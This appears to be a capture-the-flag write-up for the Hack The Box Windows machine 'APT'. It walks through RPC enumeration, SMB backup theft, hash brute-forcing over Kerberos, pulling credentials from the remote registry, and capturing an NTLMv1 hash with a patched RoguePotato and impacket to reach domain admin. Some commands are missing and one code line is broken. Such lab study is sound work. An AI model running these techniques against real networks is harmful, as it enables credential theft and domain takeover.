Apt 1
Apt 1
Apt 1
Difficulty: Insane
Classification: Official
Synopsis
APT is an insane difficulty Windows machine where RPC and HTTP services are only exposed.
Enumeration of existing RPC interfaces provides an interesting object that can be used to disclose
the IPv6 address. The box is found to be protected by a firewall exemption that over IPv6 can give
access to a backup share. User enumeration and bruteforce attacks can give us access to the
registry which contains login credentials. The machine is configured to allow authentication via
the NTLMv1 protocol, which is then can be leveraged to gain system access.
Skills Required
Enumeration
Scripting
Impacket
Windows internals
Skills Learned
RPC enumeration
Remote Registry
Exploiting NTLMv1
Enumeration
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.213 | grep '^[0-9]' | cut -d '/'
-f 1| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.213
A full port scan with nmap reveals only HTTP (80) and MSRPC (135) open ports.
IIS
Browsing to the web server brings us to a static website called "Gigantic Hosting".
There are no API calls or any input forms to further investigate.
MSRPC
RPC or Remote Procedure Call, is an IPC (InterProcess Communication) mechanism which allows
remote invocation of functions. This can be done locally on the server or via network clients.
Distributed Component Object Model (DCOM) allows applications to expose objects and RPC
interfaces to be invoked via RPC.
A list of available interfaces provided by DCOM can be enumerated using impacket's rpcmap.py .
We can obtain three mappings each with a UUID. A UUID is used to uniquely identify an interface
globally. A quick search with any of the UUIDs will point us to the official documentation which
provides a table containing interfaces, their UUIDs and a description of their use.
The -brute-opnums argument can be used in order to bruteforce the accessible methods. The
authentication level will be set to 1 i.e. RPC_C_AUTHN_LEVEL_NONE, meaning no authentication.
The -opnum-max flag will be set to 5 as we only need to test five (5) values.
It is possible to access Opnum three 3 and 5 methods i.e. ServerAlive and ServerAlive2 without
any authentication. According to the documentation, this method ServerAlive2 provides network
information bindings to the client for further connectivity.
Let's use impacket to create a script and call this method.
target = 'ncacn_ip_tcp:10.10.10.213'
rpcTransport = transport.DCERPCTransportFactory(target)
portmap = rpcTransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
obj = IObjectExporter(portmap)
bindings = obj.ServerAlive2()
We managed to get the IPv6 address of the box. Let's now scan this IP and look for any firewall
exempt ports. First we are going to add the IP-hostname mapping to the hosts file.
SMB
We are going to enumerate SMB for any open shares through anonymous authentication.
smbclient -N -L //apt
The authentication is indeed successful and a share named backup is discovered.
A file named backup.zip is also found, which we can download for further inspection. The
archive appears to be encrypted, which means we'll need to crack the password. By using
zip2john we can extract the hash and then try to crack it using the rockyou.txt wordlist.
The cracking is successful and the password in use is iloveyousomuch . Extracting the contents
provides us with the NTDS database as well as with the SECURITY and SYSTEM registry hives.
This can be used to obtain NTLM hashes for all users existing during this snapshot.
We also find one non-default username i.e. henry.vinson . We need to authenticate with this
user using CrackMapExec tool. First though we forward port 445 from the IPv6 address to
localhost as CME is not currently support IPv6.
Unfortunately the login fails, which means that the hash is incorrect. We are going to extract all
hashes and see if we get lucky with another user's hash.
Kerbrute doesn't support bruteforcing hashes, but we can use pyKerbrute. The script can check a
single hash only. Let's modify it to test hashes from a list. Clone the repo and replace the main
method in ADPwdSpray.py with the following:
if __name__ == '__main__':
kdc_a = 'APT'
user_realm = 'HTB.LOCAL'
username = 'henry.vinson'
hashes = open('hashes.txt', 'r').readlines()
We also need to replace AF_INET with AF_INET6 while connecting to the socket, as we're using
IPv6.
This time by executing the script there is no block as there's no restriction on Kerberos
bruteforcing.
It returns a result within a few minutes, which can be confirmed using CME.
Foothold
Foothold
This user doesn't seem to have access to any special shares or files so we are going to try login via
WinRM.
However, the login is not successful and we fail to establish a session. Another resource worth
enumerating though is the registry. It is possible to access registry remotely with the valid
credentials we have obtained.
When a user logs in, their registry hive is mounted to HKCU , which is unique to each user.
However, user hives can also be accessed via the HKEY_USERS (HKU) hive. This stores registry
entries for all users on the system. Impacket's reg.py can be used to enumerate the registry.
The query is successful and we're able to list the subkeys in HKU. One interesting place to look for
sensitive information is also the Software subkey. It's used to store configuration and settings
for various applications and might contain credentials.
We obtain the credentials for the user henry.vinson_adm and logged in successfuly using evil-
winrm .
The box is found to allow NTLMv1 authentication, which is susceptible to cracking. If we manage
to steal NTLMv1 authentication hash then we can crack it using the online service crack.sh to
obtain the NTLM hash and authenticate as the computer account.
Tools such as RoguePotato can help us in forcing authentication as the SYSTEM account. However,
we'll have to modify it to support IPv6 as IPv4 inbound is blocked. We clone the repository on a
Windows host and then open it in Visual Studio.
Browsing to IStorageTrigger.cpp will reveal the array used to store the remote IP address. This
is set to 16 bytes by default for IPv4 addresses. We change the length to 48 to accommodate IPv6
addresses.
We compile the binary and then copy it over to the Linux VM. Now we need an RPC server to
negotiate the incoming authentication and capture the hash. This patch can assist in modifying
impacket to be used as an RPC server. We need also to download an older impacket version in
order to apply the patch.
wget
https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_21/im
packet-0.9.21.tar.gz -O- | tar -xzv
cd impacket-0.9.21
wget
https://gist.githubusercontent.com/Gilks/0fc75929faba704c05143b01f34c291b/raw/e
1455b82d4a7ba23998151c28abc66f7e18a8e75/rpcrelayclientserver.patch
Before applying the patch we add the following addition at line 556 in
impacket/dcerpc/v5/rpcrt.py .
MSRPC_RTS = 0x14
class ProtocolClient:
PLUGIN_NAME = 'PROTOCOL'
def __init__(self, serverConfig, target, targetPort,
extendedSecurity=True):
if target.netloc.endswith(':445'):
ip = target.netloc[:-4]
else:
ip = target.netloc
self.serverConfig = serverConfig
self.targetHost = ipq
# A default target port is specified by the subclass
self.targetPort = targetPort
self.target = self.targetHost
self.extendedSecurity = extendedSecurity
self.session = None
self.sessionData = {}
This is going to set the challenge to 1122334455667788 , which is a requirement for crack.sh .
We also need to print the response hash.
ntlm_hash_data = outputToJohnFormat(bytes.fromhex('1122334455667788'),
authenticateMessage['user_name'], authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
print(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'])
logging.getLogger().setLevel(logging.DEBUG)
c = NTLMRelayxConfig()
c.setEncoding(sys.getdefaultencoding())
c.setSMB2Support(True)
c.setListeningPort(135)
c.setInterfaceIp('')
c.setIPv6(True)
s = RPCRelayServer(c)
s.run()
Now we will install this patched impacket version in a virtual environment, so that we don't have
to modify the actual installation.
pipenv shell
python setup.py install
We run the RPC server and then execute the modified Rogue Potato on the box.
This should successfully negotiate authentication and return the NTLMv1 hash.
Now it's time to use crack.sh and submit the hash in the format NTHASH:<hash> . We should
receive an e-mail with the cracked hash soon.
This hash can be used to perform DCSync as it belongs to the DC computer account.
This will return the NTLM hash for the domain administrator's account. We finally can use it to
login as the DA via WinRM.
Alternate method
It's also possible to force authentication from services running as the SYSTEM account. One such
service is the Windows Defender. The defender cli MpCmdRun allows scanning files on demand by
any user. We can use it to request a share hosted on our box and capture authentication.
First we need to edit Responder.conf and set the challenge to 1122334455667788 . Then start
Responder to listen for incoming connections.
The --lm flag forces protocol downgrade to capture NTLMv1 hashes. Switch to the WinRM shell
and issue the command below:
This requests defender to start a scan with scan type set to 3 i.e. scan the specified file.
The NTLMv1 hash is received which can be cracked and used as shown previously.